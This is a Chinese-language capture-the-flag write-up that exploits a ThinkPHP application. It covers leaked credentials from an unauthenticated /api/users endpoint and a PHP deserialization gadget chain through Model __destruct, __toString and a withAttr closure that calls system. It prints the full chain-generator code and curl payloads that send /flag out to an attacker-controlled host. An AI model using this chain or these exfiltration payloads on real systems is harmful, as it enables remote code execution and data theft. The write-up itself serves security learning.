找了一下这题的WP,发现并没有写的很详细,在自己梳理后,整理了一下整体的解题思路及利用链
一、使用目录扫描工具进行目录扫描,发现源码文件及后台。
二、后台页面分析,尝试暴力破解及SQL注入失败。
三、分析源码,发现除了/api/users接口其余所有API均要认证后才能使用,尝试请求api/users接口后返回账号及密码,使用该账号密码成功登录。
public function users()
{
$db = new AdminUser;
$datas = $db->select();
return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
}
#访问/api/users返回json数据中的账号及密码 。
username:"jlkasdjljlkdaj"
password:"kljewjklq123"
四、页面功能分析,没有发现明显WEB漏洞,尝试分析源码。
五、分析源码发现出现序列化及反序列化操作,怀疑有反序列化漏洞。
foreach ($datas as $data){
$data = unserialize($data['serialize']);
$lists[] = [
"id" => $data->id,
"name" => $data->name,
"score1" => $data->score1,
"score2" => $data->score2,
"score3" => $data->score3,
"average" => $data->average];
}
return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]);
$seria = serialize(new Student(
$request->post('id',2),
$request->post('name','李四'),
$request->post('score1',91),
$request->post('score2',92),
$request->post('score3',93)
));
六、代码审计查找魔术方法,反序列化魔术方法__wakeup()出现6次,其中model文件为标准类文件且方便控制,故选择从model入手分析。
七、在index.php入口文件中测试反序列化过程中发现,__wakeup()为初始化功能,没有实际作用,__destruct()魔术方法中出现save()方法,控制$this->lazySave = true 继续跟进。
$this->lazySave = true
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}/*WOW!!!看来你是懂的,第三个生蚝在根目录下的Oyst3333333r.php里,快去找到它吧*/
八、跟进save()方法后,不满足以下条件,程序直接结束。
$this->lazySave = true $this->isEmpty() || false === $this->trigger('BeforeWrite')
九、追踪trigger,发现这是model引入的vendor/topthink/think-orm/src/model/concern/ModelEvent.php文件引入的方法,只需要控制model中的$data不为空以及$withEvent = false就能继续运行代码。
protected $data != Null; protected $withEvent = false;
十、继续往下分析,往下拼凑条件,直到运行检测允许字段时,跟进checkAllowFields()方法,继续跟进db()方法,发现了字符拼接操作$this->name.$this->suffix,可以通过嵌套类触发__tostring()魔术方法,查找是否有__tostring()。
$this->exist = true / false
$this->field = []
$this->force = true
$this->schema = []
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
$this->suffix = ''
$this->name = class model or child of class model
#model\concern\Conversion
public function __toString()
{
return $this->toJson();
}
十一、在引入的model\concern\Conversion文件中找到__tostring()魔术方法,跟进看是否可以利用。
public function __toString()
{
return $this->toJson();
}
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
public function toArray(): array
{
$item = [];
$hasVisible = false;
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationValue($relation);
// 保存关联对象值
$this->relation[$name] = $value;
}
return $value;
}
十一、发现有可能可以执行自定方法的地方,查看是否可以利用,经过跟进后发现只需要控制$this->withAttr[]和$this->data的值为键值对,且键值对的键名相同即可触发,触发后前者的值为方法名,后者的值为参数,可以利用这点执行system方法执行系统命令,即构造以下内容。
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data); //疑似可以执行自定方法
#使用带外攻击带出flag信息,`cat /flag`.xxxxxxx.xxxx这里的xxx.xxx是你的http请求接收平台地址或者是你获取的dnslog地址
private $data = ["shell" => "curl `cat /flag`.xxxxxxx.xxxx"];
private $withAttr = ["shell" => "system"];
十二、总结所需条件及所使用的变量构造利用链,使用model类的子类pivot类构建嵌套类触发__toString()魔术方法(用model类构造也行,只要能构建嵌套类,让$this->name为model类或其子类),注意所使用的命名空间。
<?php
namespace think\model\concern;
trait Conversion
{
}
trait Attribute
{
private $data = ["shell" => "curl http://xx.xx.xx.xx/?a=`cat /flag`"];
private $withAttr = ["shell" => "system"];
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave = true;
protected $withEvent = false;
private $force = true;
protected $field = [];
protected $schema = [];
protected $name;
protected $suffix = '';
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
function __construct($obj = '')
{
$this->name = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
十三、使用修改功能,用BP抓包,修改上传的序列值为payload生成的序列,上传成功后刷新页面触发反序列化操作,查看HTTP请求接收平台,在get请求内发现flag(get的值中不允许出现符号“{}”,flag需要自己补全大括号)。
以上就是该题的全部内容。